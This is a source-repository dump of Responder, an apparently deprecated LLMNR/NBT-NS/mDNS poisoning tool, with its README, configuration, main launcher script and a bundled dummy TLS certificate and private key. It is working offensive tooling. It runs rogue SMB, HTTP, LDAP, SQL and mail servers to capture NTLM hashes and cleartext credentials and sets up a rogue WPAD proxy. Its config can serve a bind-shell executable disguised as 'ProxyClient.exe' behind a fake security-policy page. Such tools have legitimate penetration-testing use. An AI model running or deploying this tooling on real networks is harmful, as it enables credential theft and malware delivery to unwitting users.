├── .gitignore
├── LICENSE
├── README.md
├── Responder.conf
├── Responder.py
├── certs
├── gen-self-signed-cert.sh
├── responder.crt
└── responder.key
├── files
├── AccessDenied.html
└── BindShell.exe
├── fingerprint.py
├── odict.py
├── packets.py
├── poisoners
├── LLMNR.py
├── MDNS.py
├── NBTNS.py
└── __init__.py
├── servers
├── Browser.py
├── DNS.py
├── FTP.py
├── HTTP.py
├── HTTP_Proxy.py
├── IMAP.py
├── Kerberos.py
├── LDAP.py
├── MSSQL.py
├── POP3.py
├── SMB.py
├── SMTP.py
└── __init__.py
├── settings.py
├── tools
├── BrowserListener.py
├── DHCP.py
├── DHCP_Auto.sh
├── FindSMB2UPTime.py
├── FindSQLSrv.py
├── Icmp-Redirect.py
├── RelayPackets.py
└── SMBRelay.py
└── utils.py
/.gitignore:
--------------------------------------------------------------------------------
1 | /plugins/old_plugins/
2 | backdoored/
3 | # Byte-compiled / optimized / DLL files
4 | __pycache__/
5 | *.py[cod]
6 |
7 | # C extensions
8 | *.so
9 |
10 | # Distribution / packaging
11 | .Python
12 | env/
13 | build/
14 | develop-eggs/
15 | dist/
16 | downloads/
17 | eggs/
18 | .eggs/
19 | lib/
20 | lib64/
21 | parts/
22 | sdist/
23 | var/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *,cover
47 |
48 | # Translations
49 | *.mo
50 | *.pot
51 |
52 | # Django stuff:
53 | *.log
54 |
55 | # Sphinx documentation
56 | docs/_build/
57 |
58 | # PyBuilder
59 | target/
60 |
61 | # Responder logs
62 | *.db
63 | *.txt
64 | *.log
65 | logs/*
66 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | :no_entry: [DEPRECATED] Active at https://github.com/lgandx/Responder
2 |
3 |
4 | # Responder.py #
5 |
6 | LLMNR/NBT-NS/mDNS Poisoner
7 |
8 | Author: Laurent Gaffie http://www.spiderlabs.com
9 |
10 |
11 |
12 | ## Intro ##
13 |
14 | Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
15 |
16 | The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
17 |
18 | ## Features ##
19 |
20 | - Built-in SMB Auth server.
21 |
22 | Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. This functionality is enabled by default when the tool is launched.
23 |
24 | - Built-in MSSQL Auth server.
25 |
26 | In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
27 |
28 | - Built-in HTTP Auth server.
29 |
30 | In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
31 |
32 | Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
33 |
34 | - Built-in HTTPS Auth server.
35 |
36 | Same as above. The folder certs/ contains 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
37 |
38 | - Built-in LDAP Auth server.
39 |
40 | In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
41 |
42 | - Built-in FTP, POP3, IMAP, SMTP Auth servers.
43 |
44 | This modules will collect clear text credentials.
45 |
46 | - Built-in DNS server.
47 |
48 | This server will answer type A queries. This is really handy when it's combined with ARP spoofing.
49 |
50 | - Built-in WPAD Proxy Server.
51 |
52 | This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is highly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
53 |
54 | - Browser Listener
55 |
56 | This module allows to find the PDC in stealth mode.
57 |
58 | - Fingerprinting
59 |
60 | When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
61 |
62 | - Icmp Redirect
63 |
64 | python tools/Icmp-Redirect.py
65 |
66 | For MITM on Windows XP/2003 and earlier Domain members. This attack combined with the DNS module is pretty effective.
67 |
68 | - Rogue DHCP
69 |
70 | python tools/DHCP.py
71 |
72 | DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
73 |
74 | - Analyze mode.
75 |
76 | This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the network without poisoning any responses. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet.
77 |
78 | ## Hashes ##
79 |
80 | All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format:
81 |
82 | (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
83 |
84 | Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
85 |
86 | - Responder will logs all its activity to Responder-Session.log
87 | - Analyze mode will be logged to Analyze-Session.log
88 | - Poisoning will be logged to Poisoners-Session.log
89 |
90 | Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
91 |
92 |
93 | ## Considerations ##
94 |
95 | - This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
96 |
97 | - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
98 |
99 | - For Ubuntu users:
100 |
101 | Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dns=dnsmasq`. Then kill dnsmasq with this command (as root): `killall dnsmasq -9`
102 |
103 | - Any rogue server can be turned off in Responder.conf.
104 |
105 | - This tool is not meant to work on Windows.
106 |
107 | - For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
108 |
109 | launchcl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
110 |
111 | launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
112 |
113 | launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
114 |
115 | launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
116 |
117 | ## Usage ##
118 |
119 | First of all, please take a look at Responder.conf and tweak it for your needs.
120 |
121 | Running the tool:
122 |
123 | ./Responder.py [options]
124 |
125 | Typical Usage Example:
126 |
127 | ./Responder.py -I eth0 -wrf
128 |
129 | Options:
130 |
131 | --version show program's version number and exit
132 | -h, --help show this help message and exit
133 | -A, --analyze Analyze mode. This option allows you to see NBT-NS,
134 | BROWSER, LLMNR requests without responding.
135 | -I eth0, --interface=eth0
136 | Network interface to use
137 | -b, --basic Return a Basic HTTP authentication. Default: NTLM
138 | -r, --wredir Enable answers for netbios wredir suffix queries.
139 | Answering to wredir will likely break stuff on the
140 | network. Default: False
141 | -d, --NBTNSdomain Enable answers for netbios domain suffix queries.
142 | Answering to domain suffixes will likely break stuff
143 | on the network. Default: False
144 | -f, --fingerprint This option allows you to fingerprint a host that
145 | issued an NBT-NS or LLMNR query.
146 | -w, --wpad Start the WPAD rogue proxy server. Default value is
147 | False
148 | -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
149 | Upstream HTTP proxy used by the rogue WPAD Proxy for
150 | outgoing requests (format: host:port)
151 | -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
152 | retrieval. This may cause a login prompt. Default:
153 | False
154 | --lm Force LM hashing downgrade for Windows XP/2003 and
155 | earlier. Default: False
156 | -v, --verbose Increase verbosity.
157 |
158 |
159 |
160 |
161 |
162 | ## Copyright ##
163 |
164 | NBT-NS/LLMNR Responder
165 | Created by Laurent Gaffie
166 | Copyright (C) 2013 Trustwave Holdings, Inc.
167 |
168 | This program is free software: you can redistribute it and/or modify
169 | it under the terms of the GNU General Public License as published by
170 | the Free Software Foundation, either version 3 of the License, or
171 | (at your option) any later version.
172 |
173 | This program is distributed in the hope that it will be useful,
174 | but WITHOUT ANY WARRANTY; without even the implied warranty of
175 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
176 | GNU General Public License for more details.
177 |
178 | You should have received a copy of the GNU General Public License
179 | along with this program. If not, see
180 |
--------------------------------------------------------------------------------
/Responder.conf:
--------------------------------------------------------------------------------
1 | [Responder Core]
2 |
3 | ; Servers to start
4 | SQL = On
5 | SMB = On
6 | Kerberos = On
7 | FTP = On
8 | POP = On
9 | SMTP = On
10 | IMAP = On
11 | HTTP = On
12 | HTTPS = On
13 | DNS = On
14 | LDAP = On
15 |
16 | ; Custom challenge
17 | Challenge = 1122334455667788
18 |
19 | ; SQLite Database file
20 | ; Delete this file to re-capture previously captured hashes
21 | Database = Responder.db
22 |
23 | ; Default log file
24 | SessionLog = Responder-Session.log
25 |
26 | ; Poisoners log
27 | PoisonersLog = Poisoners-Session.log
28 |
29 | ; Analyze mode log
30 | AnalyzeLog = Analyzer-Session.log
31 |
32 | ; Specific IP Addresses to respond to (default = All)
33 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
34 | RespondTo =
35 |
36 | ; Specific NBT-NS/LLMNR names to respond to (default = All)
37 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT
38 | RespondToName =
39 |
40 | ; Specific IP Addresses not to respond to (default = None)
41 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
42 | DontRespondTo =
43 |
44 | ; Specific NBT-NS/LLMNR names not to respond to (default = None)
45 | ; Example: DontRespondTo = NAC, IPS, IDS
46 | DontRespondToName =
47 |
48 | ; If set to On, we will stop answering further requests from a host
49 | ; if a hash hash been previously captured for this host.
50 | AutoIgnoreAfterSuccess = Off
51 |
52 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries
53 | ; to authenticate for the first time to try to get different credentials.
54 | ; This may break file serving and is useful only for hash capture
55 | CaptureMultipleCredentials = Off
56 |
57 | [HTTP Server]
58 |
59 | ; Set to On to always serve the custom EXE
60 | Serve-Always = Off
61 |
62 | ; Set to On to replace any requested .exe with the custom EXE
63 | Serve-Exe = Off
64 |
65 | ; Set to On to serve the custom HTML if the URL does not contain .exe
66 | ; Set to Off to inject the 'HTMLToInject' in web pages instead
67 | Serve-Html = Off
68 |
69 | ; Custom HTML to serve
70 | HtmlFilename = files/AccessDenied.html
71 |
72 | ; Custom EXE File to serve
73 | ExeFilename = files/BindShell.exe
74 |
75 | ; Name of the downloaded .exe that the client will see
76 | ExeDownloadName = ProxyClient.exe
77 |
78 | ; Custom WPAD Script
79 | WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
80 |
81 | ; HTML answer to inject in HTTP responses (before
17 |
18 |
19 |
New Security Policy: Website Blocked
20 |
21 |
22 |
23 |
- Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
24 |
25 |
26 |
27 |
28 |
29 |
tag).
82 | ; Set to an empty string to disable.
83 | ; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
84 | HTMLToInject =
85 |
86 | [HTTPS Server]
87 |
88 | ; Configure SSL Certificates to use
89 | SSLCert = certs/responder.crt
90 | SSLKey = certs/responder.key
91 |
--------------------------------------------------------------------------------
/Responder.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # This file is part of Responder
3 | # Original work by Laurent Gaffie - Trustwave Holdings
4 | #
5 | # This program is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program. If not, see .
17 | import optparse
18 | import ssl
19 |
20 | from SocketServer import TCPServer, UDPServer, ThreadingMixIn
21 | from threading import Thread
22 | from utils import *
23 |
24 | banner()
25 |
26 | parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
27 | parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
28 | parser.add_option('-I','--interface', action="store", help="Network interface to use", dest="Interface", metavar="eth0", default=None)
29 | parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
30 | parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
31 | parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
32 | parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
33 | parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
34 | parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
35 | parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
36 | parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
37 | parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
38 | parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
39 | options, args = parser.parse_args()
40 |
41 | if not os.geteuid() == 0:
42 | print color("[!] Responder must be run as root.")
43 | sys.exit(-1)
44 | elif options.OURIP is None and IsOsX() is True:
45 | print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n"
46 | parser.print_help()
47 | exit(-1)
48 |
49 | settings.init()
50 | settings.Config.populate(options)
51 |
52 | StartupMessage()
53 |
54 | settings.Config.ExpandIPRanges()
55 |
56 | if settings.Config.AnalyzeMode:
57 | print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
58 |
59 | class ThreadingUDPServer(ThreadingMixIn, UDPServer):
60 | def server_bind(self):
61 | if OsInterfaceIsSupported():
62 | try:
63 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
64 | except:
65 | pass
66 | UDPServer.server_bind(self)
67 |
68 | class ThreadingTCPServer(ThreadingMixIn, TCPServer):
69 | def server_bind(self):
70 | if OsInterfaceIsSupported():
71 | try:
72 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
73 | except:
74 | pass
75 | TCPServer.server_bind(self)
76 |
77 | class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
78 | def server_bind(self):
79 | MADDR = "224.0.0.251"
80 |
81 | self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
82 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
83 |
84 | Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
85 |
86 | if OsInterfaceIsSupported():
87 | try:
88 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
89 | except:
90 | pass
91 | UDPServer.server_bind(self)
92 |
93 | class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
94 | def server_bind(self):
95 | MADDR = "224.0.0.252"
96 |
97 | self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
98 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
99 |
100 | Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
101 |
102 | if OsInterfaceIsSupported():
103 | try:
104 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
105 | except:
106 | pass
107 | UDPServer.server_bind(self)
108 |
109 | ThreadingUDPServer.allow_reuse_address = 1
110 | ThreadingTCPServer.allow_reuse_address = 1
111 | ThreadingUDPMDNSServer.allow_reuse_address = 1
112 | ThreadingUDPLLMNRServer.allow_reuse_address = 1
113 |
114 | def serve_thread_udp_broadcast(host, port, handler):
115 | try:
116 | server = ThreadingUDPServer(('', port), handler)
117 | server.serve_forever()
118 | except:
119 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
120 |
121 | def serve_NBTNS_poisoner(host, port, handler):
122 | serve_thread_udp_broadcast(host, port, handler)
123 |
124 | def serve_MDNS_poisoner(host, port, handler):
125 | try:
126 | server = ThreadingUDPMDNSServer((host, port), handler)
127 | server.serve_forever()
128 | except:
129 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
130 |
131 | def serve_LLMNR_poisoner(host, port, handler):
132 | try:
133 | server = ThreadingUDPLLMNRServer((host, port), handler)
134 | server.serve_forever()
135 | except:
136 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
137 |
138 | def serve_thread_udp(host, port, handler):
139 | try:
140 | if OsInterfaceIsSupported():
141 | server = ThreadingUDPServer((settings.Config.Bind_To, port), handler)
142 | server.serve_forever()
143 | else:
144 | server = ThreadingUDPServer((host, port), handler)
145 | server.serve_forever()
146 | except:
147 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
148 |
149 | def serve_thread_tcp(host, port, handler):
150 | try:
151 | if OsInterfaceIsSupported():
152 | server = ThreadingTCPServer((settings.Config.Bind_To, port), handler)
153 | server.serve_forever()
154 | else:
155 | server = ThreadingTCPServer((host, port), handler)
156 | server.serve_forever()
157 | except:
158 | print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
159 |
160 | def serve_thread_SSL(host, port, handler):
161 | try:
162 |
163 | cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
164 | key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
165 |
166 | if OsInterfaceIsSupported():
167 | server = ThreadingTCPServer((settings.Config.Bind_To, port), handler)
168 | server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
169 | server.serve_forever()
170 | else:
171 | server = ThreadingTCPServer((host, port), handler)
172 | server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
173 | server.serve_forever()
174 | except:
175 | print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."
176 |
177 | def main():
178 | try:
179 | threads = []
180 |
181 | # Load (M)DNS, NBNS and LLMNR Poisoners
182 | from poisoners.LLMNR import LLMNR
183 | from poisoners.NBTNS import NBTNS
184 | from poisoners.MDNS import MDNS
185 | threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
186 | threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
187 | threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
188 |
189 | # Load Browser Listener
190 | from servers.Browser import Browser
191 | threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
192 |
193 | if settings.Config.HTTP_On_Off:
194 | from servers.HTTP import HTTP
195 | threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
196 |
197 | if settings.Config.SSL_On_Off:
198 | from servers.HTTP import HTTPS
199 | threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
200 |
201 | if settings.Config.WPAD_On_Off:
202 | from servers.HTTP_Proxy import HTTP_Proxy
203 | threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,)))
204 |
205 | if settings.Config.SMB_On_Off:
206 | if settings.Config.LM_On_Off:
207 | from servers.SMB import SMB1LM
208 | threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1LM,)))
209 | threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1LM,)))
210 | else:
211 | from servers.SMB import SMB1
212 | threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1,)))
213 | threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1,)))
214 |
215 | if settings.Config.Krb_On_Off:
216 | from servers.Kerberos import KerbTCP, KerbUDP
217 | threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
218 | threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
219 |
220 | if settings.Config.SQL_On_Off:
221 | from servers.MSSQL import MSSQL
222 | threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
223 |
224 | if settings.Config.FTP_On_Off:
225 | from servers.FTP import FTP
226 | threads.append(Thread(target=serve_thread_tcp, args=('', 21, FTP,)))
227 |
228 | if settings.Config.POP_On_Off:
229 | from servers.POP3 import POP3
230 | threads.append(Thread(target=serve_thread_tcp, args=('', 110, POP3,)))
231 |
232 | if settings.Config.LDAP_On_Off:
233 | from servers.LDAP import LDAP
234 | threads.append(Thread(target=serve_thread_tcp, args=('', 389, LDAP,)))
235 |
236 | if settings.Config.SMTP_On_Off:
237 | from servers.SMTP import ESMTP
238 | threads.append(Thread(target=serve_thread_tcp, args=('', 25, ESMTP,)))
239 | threads.append(Thread(target=serve_thread_tcp, args=('', 587, ESMTP,)))
240 |
241 | if settings.Config.IMAP_On_Off:
242 | from servers.IMAP import IMAP
243 | threads.append(Thread(target=serve_thread_tcp, args=('', 143, IMAP,)))
244 |
245 | if settings.Config.DNS_On_Off:
246 | from servers.DNS import DNS, DNSTCP
247 | threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
248 | threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,)))
249 |
250 | for thread in threads:
251 | thread.setDaemon(True)
252 | thread.start()
253 |
254 | print color('[+]', 2, 1) + " Listening for events..."
255 |
256 | while True:
257 | time.sleep(1)
258 |
259 | except KeyboardInterrupt:
260 | sys.exit("\r%s Exiting..." % color('[+]', 2, 1))
261 |
262 | if __name__ == '__main__':
263 | main()
264 |
--------------------------------------------------------------------------------
/certs/gen-self-signed-cert.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | openssl genrsa -out responder.key 2048
3 | openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
4 |
--------------------------------------------------------------------------------
/certs/responder.crt:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
3 | NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
4 | AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
5 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
6 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
7 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
8 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
9 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
10 | YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
11 | 6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
12 | YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
13 | koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
14 | 4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
15 | YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
16 | HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
17 | u0/CRCN/lg==
18 | -----END CERTIFICATE-----
19 |
--------------------------------------------------------------------------------
/certs/responder.key:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
3 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
4 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
5 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
6 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
7 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS
8 | 1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY
9 | kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U
10 | YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R
11 | FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i
12 | erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ
13 | IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS
14 | nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL
15 | LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9
16 | cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1
17 | 5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf
18 | s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje
19 | ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2
20 | VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes
21 | AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35
22 | HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf
23 | VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm
24 | kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35
